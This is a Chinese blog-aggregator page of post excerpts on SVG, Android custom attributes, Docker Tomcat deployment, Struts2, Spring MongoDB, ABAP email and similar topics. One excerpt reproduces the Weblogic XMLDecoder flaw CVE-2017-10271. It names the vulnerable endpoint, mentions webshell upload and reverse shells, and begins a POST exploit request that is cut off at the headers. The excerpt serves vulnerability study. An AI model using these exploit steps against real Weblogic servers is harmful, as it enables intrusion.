xmlns

HTML5 中的可缩放矢量图形(SVG)

这一生的挚爱 提交于 2019-12-07 23:50:26
http://www.ibm.com/developerworks/cn/web/wa-scalable/ HTML5 中的可缩放矢量图形(SVG) 基本概念和使用 可缩放矢量图形(SVG)是矢量图形家族的一部分。相比其他光栅图形(JPEG、GIF 和 PNG),SVG 图形具有更多的优势。本文将探讨 SVG 图形的基本概念和在 HTML5 中的使用。学习绘制、过滤器、渐变、文本和将 SVG XML 添加到网页。 1 评论: Jeremy J. Wischusen , Web 应用程序架构师, Binary Neuron L.L.C. 2012 年 9 月 17 日 内容 在 IBM Bluemix 云平台上开发并部署您的下一个应用。 开始您的试用 简介 可缩放矢量图形 (SVG) 是基于矢量的图形家族的一部分。它们与基于光栅的图形不同,后者在一个数据数组中存储每个像素的颜色定义。如今,网络上使用的最常见的光栅图形格式包括 JPEG、GIF 和 PNG,每种格式都具有优缺点。 常用缩写词 CSS:级联样式表 GIF:图形交换格式 GUI:图形用户界面 HTML:超文本标记语言 JPEG:联合图像专家组 PNG:可移植网络图形 SVG:可缩放矢量图形 XML:可扩展标记语言 相比任何基于光栅的格式,SVG 具有多项优势: SVG 图形是使用数学公式创建的

仔仔手机安全卫士demo(四)

夙愿已清 提交于 2019-12-07 19:21:45
需求:实现如上功能,用户可自由选择是否自动更新app,当选择时,提示自动更新已开启,当取消是,显示自动更新已关闭,只要点击设置自动更新字样或者选项按钮,均可选择。 接下来,使用自定义标签实现 第一步:在res/values/下创建一个attrs.xml文件 <?xml version="1.0" encoding="utf-8"?> <resources> <declare-styleable name="SettingItemView"> <attr name="mytitle" format="string" /> <attr name="description_on" format="string" /> <attr name="description_off" format="string" /> </declare-styleable> </resources> 注意:属性的名称不能与android中已定义的名称重复,否则会抛出属性名已定义的异常 由于使用的是android studio,在前面一篇文章有提到eclipse与android studio在开发自定义标签时的区别 在使用到自定义标签的布局文件中加入该命名空间 xmlns:zaizai=http://schemas.android.com/apk/res-auto 如我再activity-setting

Docker下的web开发和Tomcat部署

蹲街弑〆低调 提交于 2019-12-07 15:40:58
本期实践的主要目标是开发一个简单的web应用,打包部署到Docker的tomcat容器中去; 第一期为了快速上手,获取docker是从国内的daocloud获取的,本期开始,为了更好的熟悉和了解Docker技术,我们的查找,pull和push都改为在Docker Hub上进行,即网站: hub.docker.com ,建议各位去上面注册一个账号,这样就有自己的仓库可以保存镜像了。 在hub.docker.com上搜索tomcat,搜索结果的第一个就是官方镜像,如下图: 点击Detail按钮,进入详情页,可以发现有好多个tag,例如7.0.75这个,就是tomcat7.0.75版本: 这么多版本,究竟选哪个呢?我们还是先看看几个具体版本的差异吧,打开tomcat官网下的这个链接: http://tomcat.apache.org/whichversion.html 可以看到具体的差异: 可以看到,tomcat7 支持servlet3.0,可以满足我们的要求了,所以就用它吧,执行如下命令行即可下载镜像: docker pull tomcat : 7.0 .75 命令执行有可能执行失败,多重试几次才行,pull成功后用docker images命令可以看到镜像: 来快速体验一下镜像的效果,执行命令: docker run - it - - rm - p 8888 : 8080

android 实现QQ好友列表(扩展listview:ExpandableListView)

三世轮回 提交于 2019-12-07 14:26:44
某些android开发群里,看到有些新手问怎么实现QQ好友列表,其实网上一搜挺多的。接触Android,也才一年的时间,大部分时间花在工作上(解bug。。。),界面上开发很少参与。自己维护的系统应用里,有个ExpandableListView的界面(其实android例子APIDemo也有类似的例子)就在这里写个Demo供新手参考。 ExpandableListView的用法:难点就是重写BaseExpandableListAdapter及提供的数据源。 下面看看继承BaseExpandableListAdapter的适配器: [java] <span xmlns="http://www.w3.org/1999/xhtml" style="">package com.xyz.expande; import java.util.List; import android.app.AlertDialog; import android.content.Context; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.BaseExpandableListAdapter; import android

Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)

[亡魂溺海] 提交于 2019-12-07 01:28:36
Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271) 漏洞概述: -该漏洞产生于WLS-WebServices这个核心组件中,因为它使用XMLDecoder来解析XML数据,直接构造payload,发送xml数据,即可利用该漏洞,上传webshell等等。 漏洞版本: 10.3.6.0.0,12.2.1.1.0,12.2.1.2.0,12.1.3.0.0 漏洞搭建: https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 漏洞复现: 首先进行初步判断,看是否存在该页面,wls-wsat/CoordinatorPortType payload(发送数据xml时,反弹shell语句,要进行编码。) POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 172.17.0.1:7001 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/hAccept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla

写一个struts2的helloworld

此生再无相见时 提交于 2019-12-06 21:50:36
过程如下: 1, 在eclipse新建一个java web 项目,名字为shortrent。 2, 从struts2官网下载strtus2-all.zip包,并解压。从 webapps中有struts2-blank项目的lib中拷入到shortrent项目的webContent的WEB-INF下的lib文件夹下。 3,修改web.xml 把相应的url映射到struts2去处理, 4, 在src源码目录下新建一个struts.xml的配置文件 5, 编写helloword.jsp 6, 编写index.jsp 7, 编写HelloWorld.java 8, 运行如图: 还是添加源码吧,方便复制 index.jsp <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>index.jsp<

spring项目整合mongodb进行开发

感情迁移 提交于 2019-12-06 20:54:33
spring项目整合mongodb进行开发: MongoDB的性能指标: 100个并发,插入550万条记录的平均吞吐量:大约4100条/秒 MONGODB实际上是一个内存数据库,先将数据保存到内存,然后再写入磁盘中 1.官网下载mongodb. https://www.mongodb.org/downloads 2.redhat上安装好mongodb 3. spring中配置mongodb: <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xmlns:context="http://www.springframework.org/schema/context" xmlns:aop="http://www.springframework.org/schema/aop" xmlns:mvc="http://www.springframework.org/schema/mvc" xmlns:util="http://www

课设

你。 提交于 2019-12-06 19:58:56
一、绪论 (一)设计背景及意义 本文描述了开发用于提高我国高校管理效率的课程设计管理系统。该系统的设计基于Android和B/S架构的跨平台混合模式开发、Java语言编程和MySQL数据库,用UML面向对象方法建模,构建符合高校课程设计全流程管理的系统模型。通过确定参与者、创建系统用例、描述系统时序图、确定静态结构来进行系统需求分析;系统总体功能设计、业务流程设计和数据库设计来进行系统设计。详细描述各功能模块的设计;通过关键技术的分析,确定Android平台架构及物理模型,采用主流的JDK+Eclipse+ADT的模式实现Android客户端的功能;采用B/S模式三层架构实现PC端功能。在android studio中能很好的运用这个模式进行开发个人管家的界面 (二)编写目的 本课题将从用户使用角度出发,完成一个功能齐全、使用便捷,用户界面美观大方的手机通讯录应用系统。为方便用户的管理,让联系人信息和头像一目了然:简化用户进行增加、删除、查找操作;并且具备更改头像的功能,拥有英观。简洁。方便的通讯录主界面。总体目标功能如下: (1) 查看功能:显示出所有自己数据中的详细值息。 (2) 增加功能:能快速,便捷地录入新数据,包括:你的计划及目标等。 (3) 修改功能:选中自己的信息及计划和目标时,可对此人的相应数报进行修改。 (4) 删除功能:选中你的id,计划的时

智能菜谱课程设计报告

时光毁灭记忆、已成空白 提交于 2019-12-06 15:23:45
一. 系统需求分析 3 1.概述 随着智能手机的普及,基于 Android平台的应用软件需求也越来越多。针对传统订餐模式中餐馆工作人员重复劳动量大、消费者在不熟悉地区难以寻找适合自己的餐馆、必须要进入到餐馆内才可以浏览菜单开始点餐以及物理菜单不能及时更新更不能反映菜品的评价等缺点,提出基于Android平台的智能菜谱系统的设计和实现解决方案。阐述了系统的设计思想、开发模型、主要功能模块以及关键技术的设计与实现。 2. 需求用例图 3.用例分析 (1)用例名称:今日推荐 说明:每进一次首页都会推荐 不同的菜品,可自行选择 (2)用例名称:分类查询 说明:有九种类型的菜,每种类型 的菜又可以分很多菜品,可 任意选择进行查询 (3)用例名称:添加收藏 说明:用户可把喜欢的菜添加到收藏 (4)用例名称:删除收藏 说明:用户可把不喜欢的菜从收藏中 删除 (5)用例名称:上传我的菜品 说明:可以把自己喜欢或会做的菜 上传,与他人进行分享 二、 系统设计 1.系统功能 2. 核心模块时序图 3. 核心模块类图 三、 系统数据库设计 由于本系统是对广大用户所使用的,所以要充分考虑用户的需求。本系统采用了 SQLite数据库设计,占用资源低,处理速度快。以表格的形式列出每一个数据库表的表结构,即字段名、类型、长度、小数位数、是否主键、索引、是否允许为空、说明等。并介绍表与表之间的逻辑关系。

ABAP学习(15):邮件发送实例

六眼飞鱼酱① 提交于 2019-12-06 14:59:29
ABAP邮件 使用ABAP程式可以发送外部邮件。  Tcode:SOST可以查看邮件发送队列以及邮件发送状态。 1、使用类对象发送邮件 类CL_BCS:发送邮件功能类,创建发送邮件请求,添加发送人,添加收件人,添加发送内容等; 类CL_DOCUMENT_BCS:邮件内容类; 类CX_BCS:发送异常类; 接口IF_RECIPIENT_BCS:邮件地址接口; 邮件发送过程: 1、使用CL_BCS=>CREATE_PERSISTENT( )创建邮件发送请求,cl_send_mail保存对象; 2、使用CL_DOCUMENT_BCS=>CREATE_DOCUMENT( ),创建发送内容对象,cl_content保存类对象; 3、添加附件,使用cl_content->add_attachment,调用内容对象方法add_attachment; 4、将发送邮件内容添加到请求对象,cl_send_mail的SET_DOCUMENT方法; 5、调用发送请求的SET_SENDER方法设置发件人; 6、调用发送请求对象的ADD_RECIPIENT方法设置收件人; 7、调用发送请求对象的SEND方法发送邮件; 附件生成: 使用XML文本,最后保存为excel,获得excel类型附件。实际上就是构建一个EXCEL的XML文档。可以将一个EXCEL保存成XML格式文件